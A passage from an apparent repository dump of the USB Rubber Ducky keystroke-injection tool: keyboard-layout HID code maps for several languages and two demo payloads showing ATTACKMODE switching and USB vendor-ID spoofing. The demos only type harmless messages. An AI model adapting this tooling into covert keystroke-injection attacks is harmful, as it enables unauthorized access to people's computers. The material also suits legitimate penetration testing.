\"ALT\":\"04,00,00\",\n    \"CTRL-ALT\":\"05,00,00\",\n    \"ALT-SHIFT\":\"06,00,00\",\n    \"COMMAND\":\"08,00,00\",\n    \"GUI\":\"08,00,00\",\n    \"WINDOWS\":\"08,00,00\",\n    \"COMMAND-OPTION\":\"12,00,00\",\n    \"@\":\"40,00,1f\",\n    \"$\":\"40,00,21\",\n    \"{\":\"40,00,24\",\n    \"[\":\"40,00,25\",\n    \"]\":\"40,00,26\",\n    \"}\":\"40,00,27\",\n    \"\\\\\":\"40,00,2d\",\n    \"|\":\"40,00,64\",\n    \"COMMAND-CTRL-SHIFT\":\"40,00,64\",\n    \"COMMAND-CTRL\":\"40,00,64\",\n    \"COMMAND-OPTION-SHIFT'\":\"40,00,64\"\n}"
  },
  {
    "path": "languages/si.json",
    "content": "{\n    \"__comment\":\"All numbers here are in hex format and 0x is ignored.\",\n    \"__comment\":\" \",\n    \"__comment\":\"This list is in ascending order of 3rd byte (HID Usage ID).\",\n    \"__comment\":\"  See section 10 Keyboard/Keypad Page (0x07)\",\n    \"__comment\":\"  of document USB HID Usage Tables Version 1.12.\",\n    \"__comment\":\" \",\n    \"__comment\":\"Definition of these 3 bytes can be found\",\n    \"__comment\":\"  in section B.1 Protocol 1 (Keyboard)\",\n    \"__comment\":\"  of document Device Class Definition for HID Version 1.11\",\n    \"__comment\":\"  - byte 1: Modifier keys\",\n    \"__comment\":\"  - byte 2: Reserved\",\n    \"__comment\":\"  - byte 3: Keycode 1\",\n    \"__comment\":\" \",\n    \"__comment\":\"Both documents can be obtained from link here\",\n    \"__comment\":\"  http://www.usb.org/developers/hidpage/\",\n    \"__comment\":\" \",\n    \"__comment\":\"A = LeftShift + a, { = LeftShift + [\",\n    \"__comment\":\" \",\n    \"a\":\"00,00,04\",\n    \"b\":\"00,00,05\",\n    \"c\":\"00,00,06\",\n    \"d\":\"00,00,07\",\n    \"e\":\"00,00,08\",\n    \"f\":\"00,00,09\",\n    \"g\":\"00,00,0a\",\n    \"h\":\"00,00,0b\",\n    \"i\":\"00,00,0c\",\n    \"j\":\"00,00,0d\",\n    \"k\":\"00,00,0e\",\n    \"l\":\"00,00,0f\",\n    \"m\":\"00,00,10\",\n    \"n\":\"00,00,11\",\n    \"o\":\"00,00,12\",\n    \"p\":\"00,00,13\",\n    \"q\":\"00,00,14\",\n    \"r\":\"00,00,15\",\n    \"s\":\"00,00,16\",\n    \"t\":\"00,00,17\",\n    \"u\":\"00,00,18\",\n    \"v\":\"00,00,19\",\n    \"w\":\"00,00,1a\",\n    \"x\":\"00,00,1b\",\n    \"z\":\"00,00,1c\",\n    \"y\":\"00,00,1d\",\n    \"1\":\"00,00,1e\",\n    \"2\":\"00,00,1f\",\n    \"3\":\"00,00,20\",\n    \"4\":\"00,00,21\",\n    \"5\":\"00,00,22\",\n    \"6\":\"00,00,23\",\n    \"7\":\"00,00,24\",\n    \"8\":\"00,00,25\",\n    \"9\":\"00,00,26\",\n    \"0\":\"00,00,27\",\n    \"ENTER\":\"00,00,28\",\n    \"ESC\":\"00,00,29\",\n    \"ESCAPE\":\"00,00,29\",\n    \"TAB\":\"00,00,2b\",\n    \" \":\"00,00,2c\",\n    \"SPACE\":\"00,00,2c\",\n    \"'\":\"00,00,2d\",\n    \"+\":\"00,00,2e\",\n    \",\":\"00,00,36\",\n    \".\":\"00,00,37\",\n    \"-\":\"00,00,38\",\n    \"CAPSLOCK\":\"00,00,39\",\n    \"F1\":\"00,00,3a\",\n    \"F2\":\"00,00,3b\",\n    \"F3\":\"00,00,3c\",\n    \"F4\":\"00,00,3d\",\n    \"F5\":\"00,00,3e\",\n    \"F6\":\"00,00,3f\",\n    \"F7\":\"00,00,40\",\n    \"F8\":\"00,00,41\",\n    \"F9\":\"00,00,42\",\n    \"F10\":\"00,00,43\",\n    \"F11\":\"00,00,44\",\n    \"F12\":\"00,00,45\",\n    \"PRINTSCREEN\":\"00,00,46\",\n    \"SCROLLLOCK\":\"00,00,47\",\n    \"BREAK\":\"00,00,48\",\n    \"PAUSE\":\"00,00,48\",\n    \"INSERT\":\"00,00,49\",\n    \"HOME\":\"00,00,4a\",\n    \"PAGEUP\":\"00,00,4b\",\n    \"DEL\":\"00,00,4c\",\n    \"DELETE\":\"00,00,4c\",\n    \"END\":\"00,00,4d\",\n    \"PAGEDOWN\":\"00,00,4e\",\n    \"RIGHT\":\"00,00,4f\",\n    \"RIGHTARROW\":\"00,00,4f\",\n    \"LEFT\":\"00,00,50\",\n    \"LEFTARROW\":\"00,00,50\",\n    \"DOWN\":\"00,00,51\",\n    \"DOWNARROW\":\"00,00,51\",\n    \"UP\":\"00,00,52\",\n    \"UPARROW\":\"00,00,52\",\n    \"<\":\"00,00,64\",\n    \"APP\":\"00,00,65\",\n    \"MENU\":\"00,00,65\",\n    \"ALT-TAB\":\"00,00,71\",\n    \"CONTROL\":\"01,00,00\",\n    \"CTRL\":\"01,00,00\",\n    \"SHIFT\":\"02,00,00\",\n    \"A\":\"02,00,04\",\n    \"B\":\"02,00,05\",\n    \"C\":\"02,00,06\",\n    \"D\":\"02,00,07\",\n    \"E\":\"02,00,08\",\n    \"F\":\"02,00,09\",\n    \"G\":\"02,00,0a\",\n    \"H\":\"02,00,0b\",\n    \"I\":\"02,00,0c\",\n    \"J\":\"02,00,0d\",\n    \"K\":\"02,00,0e\",\n    \"L\":\"02,00,0f\",\n    \"M\":\"02,00,10\",\n    \"N\":\"02,00,11\",\n    \"O\":\"02,00,12\",\n    \"P\":\"02,00,13\",\n    \"Q\":\"02,00,14\",\n    \"R\":\"02,00,15\",\n    \"S\":\"02,00,16\",\n    \"T\":\"02,00,17\",\n    \"U\":\"02,00,18\",\n    \"V\":\"02,00,19\",\n    \"W\":\"02,00,1a\",\n    \"X\":\"02,00,1b\",\n    \"Z\":\"02,00,1c\",\n    \"Y\":\"02,00,1d\",\n    \"!\":\"02,00,1e\",\n    \"\\\"\":\"02,00,1f\",\n    \"#\":\"02,00,20\",\n    \"$\":\"02,00,21\",\n    \"%\":\"02,00,22\",\n    \"&\":\"02,00,23\",\n    \"/\":\"02,00,24\",\n    \"(\":\"02,00,25\",\n    \")\":\"02,00,26\",\n    \"=\":\"02,00,27\",\n    \"?\":\"02,00,2d\",\n    \"*\":\"02,00,2e\",\n    \";\":\"02,00,36\",\n    \":\":\"02,00,37\",\n    \"_\":\"02,00,38\",\n    \">\":\"02,00,64\",\n    \"CTRL-SHIFT\":\"03,00,00\",\n    \"ALT\":\"04,00,00\",\n    \"CTRL-ALT\":\"05,00,00\",\n    \"ALT-SHIFT\":\"06,00,00\",\n    \"COMMAND\":\"08,00,00\",\n    \"GUI\":\"08,00,00\",\n    \"WINDOWS\":\"08,00,00\",\n    \"COMMAND-OPTION\":\"12,00,00\",\n    \"{\":\"40,00,05\",\n    \"[\":\"40,00,09\",\n    \"]\":\"40,00,0a\",\n    \"}\":\"40,00,11\",\n    \"\\\\\":\"40,00,14\",\n    \"@\":\"40,00,19\",\n    \"|\":\"40,00,1a\",\n    \"~\":\"40,00,1e\",\n    \"^\":\"40,00,20\",\n    \"`\":\"40,00,24\",\n    \"COMMAND-CTRL-SHIFT\":\"40,00,24\",\n    \"COMMAND-CTRL\":\"40,00,24\",\n    \"COMMAND-OPTION-SHIFT'\":\"40,00,24\"\n}"
  },
  {
    "path": "languages/sk.json",
    "content": "{\n    \"__comment\":\"All numbers here are in hex format and 0x is ignored.\",\n    \"__comment\":\" \",\n    \"__comment\":\"This list is in ascending order of 3rd byte (HID Usage ID).\",\n    \"__comment\":\"  See section 10 Keyboard/Keypad Page (0x07)\",\n    \"__comment\":\"  of document USB HID Usage Tables Version 1.12.\",\n    \"__comment\":\" \",\n    \"__comment\":\"Definition of these 3 bytes can be found\",\n    \"__comment\":\"  in section B.1 Protocol 1 (Keyboard)\",\n    \"__comment\":\"  of document Device Class Definition for HID Version 1.11\",\n    \"__comment\":\"  - byte 1: Modifier keys\",\n    \"__comment\":\"  - byte 2: Reserved\",\n    \"__comment\":\"  - byte 3: Keycode 1\",\n    \"__comment\":\" \",\n    \"__comment\":\"Both documents can be obtained from link here\",\n    \"__comment\":\"  http://www.usb.org/developers/hidpage/\",\n    \"__comment\":\" \",\n    \"__comment\":\" Slovak QWERTZ version made by Andrej Šimko\",\n    \"__comment\":\" Note that some special characters use leftCtrl+leftAlt+[key]\",\n    \"__comment\":\" Special Slovak characters like ľščťžýáíéúäô are not included\",\n    \"a\":\"00,00,04\",\n    \"b\":\"00,00,05\",\n    \"c\":\"00,00,06\",\n    \"d\":\"00,00,07\",\n    \"e\":\"00,00,08\",\n    \"f\":\"00,00,09\",\n    \"g\":\"00,00,0a\",\n    \"h\":\"00,00,0b\",\n    \"i\":\"00,00,0c\",\n    \"j\":\"00,00,0d\",\n    \"k\":\"00,00,0e\",\n    \"l\":\"00,00,0f\",\n    \"m\":\"00,00,10\",\n    \"n\":\"00,00,11\",\n    \"o\":\"00,00,12\",\n    \"p\":\"00,00,13\",\n    \"q\":\"00,00,14\",\n    \"r\":\"00,00,15\",\n    \"s\":\"00,00,16\",\n    \"t\":\"00,00,17\",\n    \"u\":\"00,00,18\",\n    \"v\":\"00,00,19\",\n    \"w\":\"00,00,1a\",\n    \"x\":\"00,00,1b\",\n    \"z\":\"00,00,1c\",\n    \"y\":\"00,00,1d\",\n    \"+\":\"00,00,1e\",\n    \"ENTER\":\"00,00,28\",\n    \"ESC\":\"00,00,29\",\n    \"ESCAPE\":\"00,00,29\",\n    \"TAB\":\"00,00,2b\",\n    \" \":\"00,00,2c\",\n    \"SPACE\":\"00,00,2c\",\n    \"CTRL-ALT\":\"05,00,00\",\n    \"=\":\"00,00,2d\",\n    \";\":\"00,00,35\",\n    \",\":\"00,00,36\",\n    \".\":\"00,00,37\",\n    \"-\":\"00,00,38\",\n    \"CAPSLOCK\":\"00,00,39\",\n    \"F1\":\"00,00,3a\",\n    \"F2\":\"00,00,3b\",\n    \"F3\":\"00,00,3c\",\n    \"F4\":\"00,00,3d\",\n    \"F5\":\"00,00,3e\",\n    \"F6\":\"00,00,3f\",\n    \"F7\":\"00,00,40\",\n    \"F8\":\"00,00,41\",\n    \"F9\":\"00,00,42\",\n    \"F10\":\"00,00,43\",\n    \"F11\":\"00,00,44\",\n    \"F12\":\"00,00,45\",\n    \"PRINTSCREEN\":\"00,00,46\",\n    \"SCROLLLOCK\":\"00,00,47\",\n    \"BREAK\":\"00,00,48\",\n    \"PAUSE\":\"00,00,48\",\n    \"INSERT\":\"00,00,49\",\n    \"HOME\":\"00,00,4a\",\n    \"PAGEUP\":\"00,00,4b\",\n    \"DEL\":\"00,00,4c\",\n    \"DELETE\":\"00,00,4c\",\n    \"END\":\"00,00,4d\",\n    \"PAGEDOWN\":\"00,00,4e\",\n    \"RIGHT\":\"00,00,4f\",\n    \"RIGHTARROW\":\"00,00,4f\",\n    \"LEFT\":\"00,00,50\",\n    \"LEFTARROW\":\"00,00,50\",\n    \"DOWN\":\"00,00,51\",\n    \"DOWNARROW\":\"00,00,51\",\n    \"UP\":\"00,00,52\",\n    \"UPARROW\":\"00,00,52\",\n    \"APP\":\"00,00,65\",\n    \"MENU\":\"00,00,65\",\n    \"ALT-TAB\":\"00,00,71\",\n    \"CONTROL\":\"01,00,00\",\n    \"CTRL\":\"01,00,00\",\n    \"SHIFT\":\"02,00,00\",\n    \"A\":\"02,00,04\",\n    \"B\":\"02,00,05\",\n    \"C\":\"02,00,06\",\n    \"D\":\"02,00,07\",\n    \"E\":\"02,00,08\",\n    \"F\":\"02,00,09\",\n    \"G\":\"02,00,0a\",\n    \"H\":\"02,00,0b\",\n    \"I\":\"02,00,0c\",\n    \"J\":\"02,00,0d\",\n    \"K\":\"02,00,0e\",\n    \"L\":\"02,00,0f\",\n    \"M\":\"02,00,10\",\n    \"N\":\"02,00,11\",\n    \"O\":\"02,00,12\",\n    \"P\":\"02,00,13\",\n    \"Q\":\"02,00,14\",\n    \"R\":\"02,00,15\",\n    \"S\":\"02,00,16\",\n    \"T\":\"02,00,17\",\n    \"U\":\"02,00,18\",\n    \"V\":\"02,00,19\",\n    \"W\":\"02,00,1a\",\n    \"X\":\"02,00,1b\",\n    \"Z\":\"02,00,1c\",\n    \"Y\":\"02,00,1d\",\n    \"1\":\"02,00,1e\",\n    \"2\":\"02,00,1f\",\n    \"3\":\"02,00,20\",\n    \"4\":\"02,00,21\",\n    \"5\":\"02,00,22\",\n    \"6\":\"02,00,23\",\n    \"7\":\"02,00,24\",\n    \"8\":\"02,00,25\",\n    \"9\":\"02,00,26\",\n    \"0\":\"02,00,27\",\n    \"\\\\\":\"05,00,14\",\n    \"%\":\"02,00,2d\",\n    \"/\":\"02,00,2f\",\n    \"(\":\"02,00,30\",\n    \"'\":\"05,00,13\",\t\n    \")\":\"02,00,31\",\n    \"\\\"\":\"02,00,33\",\n    \"!\":\"02,00,34\",\n    \"?\":\"02,00,36\",\n    \":\":\"02,00,37\",\n    \"_\":\"02,00,38\",\n    \"|\":\"05,00,1a\",\n    \"#\":\"05,00,1b\",\n    \"&\":\"05,00,06\",\n    \"@\":\"05,00,19\",\n    \"$\":\"05,00,33\",\n    \"*\":\"05,00,38\",\n    \"{\":\"05,00,05\",\n    \"}\":\"05,00,11\",\n    \"[\":\"05,00,09\",\n    \"]\":\"05,00,0a\",\n    \"~\":\"05,00,1e\",\n    \"^\":\"05,00,20\",\n    \"<\":\"05,00,36\",\n    \">\":\"05,00,37\",\n    \"CTRL-SHIFT\":\"03,00,00\",\n    \"ALT\":\"04,00,00\",\n    \"ALT-SHIFT\":\"06,00,00\",\n    \"COMMAND\":\"08,00,00\",\n    \"GUI\":\"08,00,00\",\n    \"WINDOWS\":\"08,00,00\",\n    \"COMMAND-OPTION\":\"12,00,00\",\n    \"COMMAND-CTRL-SHIFT\":\"12,00,00\",\n    \"COMMAND-CTRL\":\"12,00,00\",\n    \"COMMAND-OPTION-SHIFT'\":\"12,00,00\"\n}"
  },
  {
    "path": "languages/tr.json",
    "content": "{\n   \"__comment\":  \"All numbers here are in hex format and 0x is ignored.\",\n   \"__comment\":  \" \",\n   \"__comment\":  \"This list is in ascending order of 3rd byte (HID Usage ID).\",\n   \"__comment\":  \"  See section 10 Keyboard/Keypad Page (0x07)\",\n   \"__comment\":  \"  of document USB HID Usage Tables Version 1.12.\",\n   \"__comment\":  \" \",\n   \"__comment\":  \"Definition of these 3 bytes can be found\",\n   \"__comment\":  \"  in section B.1 Protocol 1 (Keyboard)\",\n   \"__comment\":  \"  of document Device Class Definition for HID Version 1.11\",\n   \"__comment\":  \"  - byte 1: Modifier keys\",\n   \"__comment\":  \"  - byte 2: Reserved\",\n   \"__comment\":  \"  - byte 3: Keycode 1\",\n   \"__comment\":  \" \",\n   \"__comment\":  \"Both documents can be obtained from link here\",\n   \"__comment\":  \"  http://www.usb.org/developers/hidpage/\",\n   \"__comment\":  \" \",\n   \"__comment\":  \"A = LeftShift + a, { = LeftShift + [\",\n   \"__comment\":  \" \",\n   \"CTRL\":       \"01,00,00\",\n   \"CONTROL\":    \"01,00,00\",\n   \"SHIFT\":      \"02,00,00\",\n   \"ALT\":        \"04,00,00\",\n   \"GUI\":        \"08,00,00\",\n   \"WINDOWS\":    \"08,00,00\",\n   \"CTRL-ALT\":   \"05,00,00\",\n   \"CTRL-SHIFT\": \"03,00,00\",\n   \"ALT-SHIFT\":  \"06,00,00\",\n   \"__comment\":             \"Below 5 key combinations are for Mac OSX\",\n   \"__comment\":             \"Example: (COMMAND-OPTION SHIFT t) to open terminal\",\n   \"COMMAND\":               \"08,00,00\",\n   \"COMMAND-CTRL\":          \"09,00,00\",\n   \"COMMAND-CTRL-SHIFT\":    \"0B,00,00\",\n   \"COMMAND-OPTION\":        \"0C,00,00\",\n   \"COMMAND-OPTION-SHIFT\":  \"0E,00,00\",\n   \"a\":          \"00,00,04\",\n   \"A\":          \"02,00,04\",\n   \"b\":          \"00,00,05\",\n   \"B\":          \"02,00,05\",\n   \"c\":          \"00,00,06\",\n   \"C\":          \"02,00,06\",\n   \"d\":          \"00,00,07\",\n   \"D\":          \"02,00,07\",\n   \"e\":          \"00,00,08\",\n   \"E\":          \"02,00,08\",\n   \"f\":          \"00,00,09\",\n   \"F\":          \"02,00,09\",\n   \"g\":          \"00,00,0a\",\n   \"G\":          \"02,00,0a\",\n   \"h\":          \"00,00,0b\",\n   \"H\":          \"02,00,0b\",\n   \"i\":          \"00,00,34\",\n   \"I\":          \"02,00,0c\",\n   \"j\":          \"00,00,0d\",\n   \"J\":          \"02,00,0d\",\n   \"k\":          \"00,00,0e\",\n   \"K\":          \"02,00,0e\",\n   \"l\":          \"00,00,0f\",\n   \"L\":          \"02,00,0f\",\n   \"m\":          \"00,00,10\",\n   \"M\":          \"02,00,10\",\n   \"n\":          \"00,00,11\",\n   \"N\":          \"02,00,11\",\n   \"o\":          \"00,00,12\",\n   \"O\":          \"02,00,12\",\n   \"p\":          \"00,00,13\",\n   \"P\":          \"02,00,13\",\n   \"q\":          \"00,00,14\",\n   \"Q\":          \"02,00,14\",\n   \"r\":          \"00,00,15\",\n   \"R\":          \"02,00,15\",\n   \"s\":          \"00,00,16\",\n   \"S\":          \"02,00,16\",\n   \"t\":          \"00,00,17\",\n   \"T\":          \"02,00,17\",\n   \"u\":          \"00,00,18\",\n   \"U\":          \"02,00,18\",\n   \"v\":          \"00,00,19\",\n   \"V\":          \"02,00,19\",\n   \"w\":          \"00,00,1a\",\n   \"W\":          \"02,00,1a\",\n   \"x\":          \"00,00,1b\",\n   \"X\":          \"02,00,1b\",\n   \"y\":          \"00,00,1c\",\n   \"Y\":          \"02,00,1c\",\n   \"z\":          \"00,00,1d\",\n   \"Z\":          \"02,00,1d\",\n   \"1\":          \"00,00,1e\",\n   \"!\":          \"02,00,1e\",\n   \"2\":          \"00,00,1f\",\n   \"@\":          \"40,00,14\",\n   \"3\":          \"00,00,20\",\n   \"#\":          \"40,00,20\",\n   \"4\":          \"00,00,21\",\n   \"$\":          \"40,00,21\",\n   \"5\":          \"00,00,22\",\n   \"%\":          \"02,00,22\",\n   \"6\":          \"00,00,23\",\n   \"^\":          \"02,00,20\",\n   \"7\":          \"00,00,24\",\n   \"&\":          \"02,00,23\",\n   \"8\":          \"00,00,25\",\n   \"*\":          \"00,00,2d\",\n   \"9\":          \"00,00,26\",\n   \"(\":          \"02,00,25\",\n   \"0\":          \"00,00,27\",\n   \")\":          \"02,00,26\",\n   \"ENTER\":      \"00,00,28\",\n   \"ESC\":        \"00,00,29\",\n   \"ESCAPE\":     \"00,00,29\",\n   \"BACKSPACE\":  \"00,00,2a\",\n   \"TAB\":        \"00,00,2b\",\n   \"ALT-TAB\":    \"04,00,2b\",\n   \"SPACE\":      \"00,00,2c\",\n   \" \":          \"00,00,2c\",\n   \"-\":          \"00,00,2e\",\n   \"_\":          \"02,00,2e\",\n   \"=\":          \"02,00,27\",\n   \"+\":          \"02,00,21\",\n   \"[\":          \"40,00,25\",\n   \"{\":          \"40,00,24\",\n   \"]\":          \"40,00,26\",\n   \"}\":          \"40,00,27\",\n   \"\\\\\":         \"40,00,2d\",\n   \"|\":          \"40,00,2e\",\n   \";\":          \"02,00,31\",\n   \":\":          \"02,00,38\",\n   \"'\":          \"02,00,1f\",\n   \"\\\"\":         \"00,00,35\",\n   \"`\":          \"40,00,31\",\n   \"~\":          \"40,00,30\",\n   \",\":          \"00,00,31\",\n   \"<\":          \"40,00,35\",\n   \".\":          \"00,00,38\",\n   \">\":          \"40,00,1e\",\n   \"/\":          \"02,00,24\",\n   \"?\":          \"02,00,2d\",\n   \"CAPSLOCK\":   \"00,00,39\",\n   \"F1\":         \"00,00,3a\",\n   \"F2\":         \"00,00,3b\",\n   \"F3\":         \"00,00,3c\",\n   \"F4\":         \"00,00,3d\",\n   \"F5\":         \"00,00,3e\",\n   \"F6\":         \"00,00,3f\",\n   \"F7\":         \"00,00,40\",\n   \"F8\":         \"00,00,41\",\n   \"F9\":         \"00,00,42\",\n   \"F10\":        \"00,00,43\",\n   \"F11\":        \"00,00,44\",\n   \"F12\":        \"00,00,45\",\n   \"PRINTSCREEN\":\"00,00,46\",\n   \"SCROLLLOCK\": \"00,00,47\",\n   \"PAUSE\":      \"00,00,48\",\n   \"BREAK\":      \"00,00,48\",\n   \"INSERT\":     \"00,00,49\",\n   \"HOME\":       \"00,00,4a\",\n   \"PAGEUP\":     \"00,00,4b\",\n   \"DELETE\":     \"00,00,4c\",\n   \"DEL\":        \"00,00,4c\",\n   \"END\":        \"00,00,4d\",\n   \"PAGEDOWN\":   \"00,00,4e\",\n   \"RIGHTARROW\": \"00,00,4f\",\n   \"RIGHT\":      \"00,00,4f\",\n   \"LEFTARROW\":  \"00,00,50\",\n   \"LEFT\":       \"00,00,50\",\n   \"DOWNARROW\":  \"00,00,51\",\n   \"DOWN\":       \"00,00,51\",\n   \"UPARROW\":    \"00,00,52\",\n   \"UP\":         \"00,00,52\",\n   \"NUMLOCK\":    \"00,00,53\",\n   \"MENU\":       \"00,00,65\",\n   \"APP\":        \"00,00,65\"\n}\n"
  },
  {
    "path": "languages/us.json",
    "content": "{\n  \"__comment\":  \"All numbers here are in hex format and 0x is ignored.\",\n  \"__comment\":  \" \",\n  \"__comment\":  \"This list is in ascending order of 3rd byte (HID Usage ID).\",\n  \"__comment\":  \"  See section 10 Keyboard/Keypad Page (0x07)\",\n  \"__comment\":  \"  of document USB HID Usage Tables Version 1.12.\",\n  \"__comment\":  \" \",\n  \"__comment\":  \"Definition of these 3 bytes can be found\",\n  \"__comment\":  \"  in section B.1 Protocol 1 (Keyboard)\",\n  \"__comment\":  \"  of document Device Class Definition for HID Version 1.11\",\n  \"__comment\":  \"  - byte 1: Modifier keys\",\n  \"__comment\":  \"  - byte 2: Reserved\",\n  \"__comment\":  \"  - byte 3: Keycode 1\",\n  \"__comment\":  \" \",\n  \"__comment\":  \"Both documents can be obtained from link here\",\n  \"__comment\":  \"  http://www.usb.org/developers/hidpage/\",\n  \"__comment\":  \" \",\n  \"__comment\":  \"A = LeftShift + a, { = LeftShift + [\",\n  \"__comment\":  \" \",\n  \"0\": \"00,00,27\",\n  \"1\": \"00,00,1e\",\n  \"2\": \"00,00,1f\",\n  \"3\": \"00,00,20\",\n  \"4\": \"00,00,21\",\n  \"5\": \"00,00,22\",\n  \"6\": \"00,00,23\",\n  \"7\": \"00,00,24\",\n  \"8\": \"00,00,25\",\n  \"9\": \"00,00,26\",\n  \"CTRL\": \"01,00,00\",\n  \"CONTROL\": \"01,00,00\",\n  \"SHIFT\": \"02,00,00\",\n  \"ALT\": \"04,00,00\",\n  \"GUI\": \"08,00,00\",\n  \"WINDOWS\": \"08,00,00\",\n  \"COMMAND\": \"08,00,00\",\n  \"a\": \"00,00,04\",\n  \"A\": \"02,00,04\",\n  \"b\": \"00,00,05\",\n  \"B\": \"02,00,05\",\n  \"c\": \"00,00,06\",\n  \"C\": \"02,00,06\",\n  \"d\": \"00,00,07\",\n  \"D\": \"02,00,07\",\n  \"e\": \"00,00,08\",\n  \"E\": \"02,00,08\",\n  \"f\": \"00,00,09\",\n  \"F\": \"02,00,09\",\n  \"g\": \"00,00,0a\",\n  \"G\": \"02,00,0a\",\n  \"h\": \"00,00,0b\",\n  \"H\": \"02,00,0b\",\n  \"i\": \"00,00,0c\",\n  \"I\": \"02,00,0c\",\n  \"j\": \"00,00,0d\",\n  \"J\": \"02,00,0d\",\n  \"k\": \"00,00,0e\",\n  \"K\": \"02,00,0e\",\n  \"l\": \"00,00,0f\",\n  \"L\": \"02,00,0f\",\n  \"m\": \"00,00,10\",\n  \"M\": \"02,00,10\",\n  \"n\": \"00,00,11\",\n  \"N\": \"02,00,11\",\n  \"o\": \"00,00,12\",\n  \"O\": \"02,00,12\",\n  \"p\": \"00,00,13\",\n  \"P\": \"02,00,13\",\n  \"q\": \"00,00,14\",\n  \"Q\": \"02,00,14\",\n  \"r\": \"00,00,15\",\n  \"R\": \"02,00,15\",\n  \"s\": \"00,00,16\",\n  \"S\": \"02,00,16\",\n  \"t\": \"00,00,17\",\n  \"T\": \"02,00,17\",\n  \"u\": \"00,00,18\",\n  \"U\": \"02,00,18\",\n  \"v\": \"00,00,19\",\n  \"V\": \"02,00,19\",\n  \"w\": \"00,00,1a\",\n  \"W\": \"02,00,1a\",\n  \"x\": \"00,00,1b\",\n  \"X\": \"02,00,1b\",\n  \"y\": \"00,00,1c\",\n  \"Y\": \"02,00,1c\",\n  \"z\": \"00,00,1d\",\n  \"Z\": \"02,00,1d\",\n  \"!\": \"02,00,1e\",\n  \"@\": \"02,00,1f\",\n  \"#\": \"02,00,20\",\n  \"$\": \"02,00,21\",\n  \"%\": \"02,00,22\",\n  \"^\": \"02,00,23\",\n  \"&\": \"02,00,24\",\n  \"*\": \"02,00,25\",\n  \"(\": \"02,00,26\",\n  \")\": \"02,00,27\",\n  \"ENTER\": \"00,00,28\",\n  \"ESC\": \"00,00,29\",\n  \"ESCAPE\": \"00,00,29\",\n  \"BACKSPACE\": \"00,00,2a\",\n  \"TAB\": \"00,00,2b\",\n  \"SPACE\": \"00,00,2c\",\n  \" \": \"00,00,2c\",\n  \"-\": \"00,00,2d\",\n  \"_\": \"02,00,2d\",\n  \"=\": \"00,00,2e\",\n  \"+\": \"02,00,2e\",\n  \"[\": \"00,00,2f\",\n  \"{\": \"02,00,2f\",\n  \"]\": \"00,00,30\",\n  \"}\": \"02,00,30\",\n  \"\\\\\": \"00,00,31\",\n  \"|\": \"02,00,31\",\n  \";\": \"00,00,33\",\n  \":\": \"02,00,33\",\n  \"'\": \"00,00,34\",\n  \"\\\"\": \"02,00,34\",\n  \"`\": \"00,00,35\",\n  \"~\": \"02,00,35\",\n  \",\": \"00,00,36\",\n  \"<\": \"02,00,36\",\n  \".\": \"00,00,37\",\n  \">\": \"02,00,37\",\n  \"/\": \"00,00,38\",\n  \"?\": \"02,00,38\",\n  \"CAPSLOCK\": \"00,00,39\",\n  \"F1\": \"00,00,3a\",\n  \"F2\": \"00,00,3b\",\n  \"F3\": \"00,00,3c\",\n  \"F4\": \"00,00,3d\",\n  \"F5\": \"00,00,3e\",\n  \"F6\": \"00,00,3f\",\n  \"F7\": \"00,00,40\",\n  \"F8\": \"00,00,41\",\n  \"F9\": \"00,00,42\",\n  \"F10\": \"00,00,43\",\n  \"F11\": \"00,00,44\",\n  \"F12\": \"00,00,45\",\n  \"PRINTSCREEN\": \"00,00,46\",\n  \"SCROLLLOCK\": \"00,00,47\",\n  \"PAUSE\": \"00,00,48\",\n  \"BREAK\": \"00,00,48\",\n  \"INSERT\": \"00,00,49\",\n  \"HOME\": \"00,00,4a\",\n  \"PAGEUP\": \"00,00,4b\",\n  \"DELETE\": \"00,00,4c\",\n  \"DEL\": \"00,00,4c\",\n  \"END\": \"00,00,4d\",\n  \"PAGEDOWN\": \"00,00,4e\",\n  \"RIGHTARROW\": \"00,00,4f\",\n  \"RIGHT\": \"00,00,4f\",\n  \"LEFTARROW\": \"00,00,50\",\n  \"LEFT\": \"00,00,50\",\n  \"DOWNARROW\": \"00,00,51\",\n  \"DOWN\": \"00,00,51\",\n  \"UPARROW\": \"00,00,52\",\n  \"UP\": \"00,00,52\",\n  \"NUMLOCK\": \"00,00,53\",\n  \"MENU\": \"00,00,65\",\n  \"APP\": \"00,00,65\"\n}\n"
  },
  {
    "path": "payloads/examples/ATTACKMODE/ATTACKMODE-example1.txt",
    "content": "REM The ATTACKMODE command may be used multiple times throughout a payload.\rREM Changing the attack mode will cause the target to re-enumerate the device.\r\rATTACKMODE HID\rDELAY 2000\rSTRINGLN The USB Rubber Ducky is functioning as a keyboard.\rSTRINGLN It will function as a flash drive for the next 30 seconds.\rATTACKMODE STORAGE\rDELAY 30000\rATTACKMODE HID\rDELAY 2000\rSTRINGLN Now the USB Rubber Ducky is back to functioning as only a keyboard.\rSTRINGLN For the next 30 seconds it will function as both keyboard and storage.\rATTACKMODE HID STORAGE\rDELAY 30000\rSTRINGLN Now the USB Rubber Ducky will disable itself.\rATTACKMODE OFF\r\rREM This payload will begin by enumerating as a HID keyboard.\rREM The USB Rubber Ducky will then enumerate as a mass storage \"flash drive\" for 30 seconds.\rREM Once more it will be enumerated as only a HID keyboard.\rREM Next it will enumerate as both a HID keyboard and a mass storage \"flash drive\".\rREM Finally, the device will seem to be disconnected."
  },
  {
    "path": "payloads/examples/ATTACKMODE/ATTACKMODE-example2.txt",
    "content": "REM Within a payload the ATTACKMODE command may be executed multiple times.\rREM In some situations it can be useful to \"remember\" an ATTACKMODE state, for later recall.\rREM The SAVE_ATTACKMODE command will save the currently running ATTACKMODE state (including any specified VID, PID, MAN, PROD and SERIAL parameters) such that it may be later restored.\rREM The RESTORE_ATTACKMODE command will restore a previously saved ATTACKMODE state.\r\r\rATTACKMODE HID STORAGE VID_05AC PID_021E MAN_HAK5 PROD_DUCKY SERIAL_1337\r\rBUTTON_DEF\r    RESTORE_ATTACKMODE\r    STRINGLN The ATTACKMODE has been restored.\rEND_BUTTON\r\rSTRING The USB Rubber Ducky is now in\rSTRINGLN an ATTACKMODE HID STORAGE.\rSAVE_ATTACKMODE\r\rSTRINGLN This state has been saved. \rSTRINGLN Now entering ATTACKMODE OFF...\rSTRING Press the button to restore \rSTRINGLN the ATTACKMODE.\rATTACKMODE OFF\n\n\nREM The USB Rubber Ducky will be recognized as a composite USB device with both HID and STORAGE features.\rREM Strings will be typed informing the user of the save state, the button functionality, and entering ATTACKMODE OFF.\rREM Pressing the button will restore the previously initialized ATTACKMODE."
  },
  {
    "path": "payloads/examples/Button/Button-example1.txt",
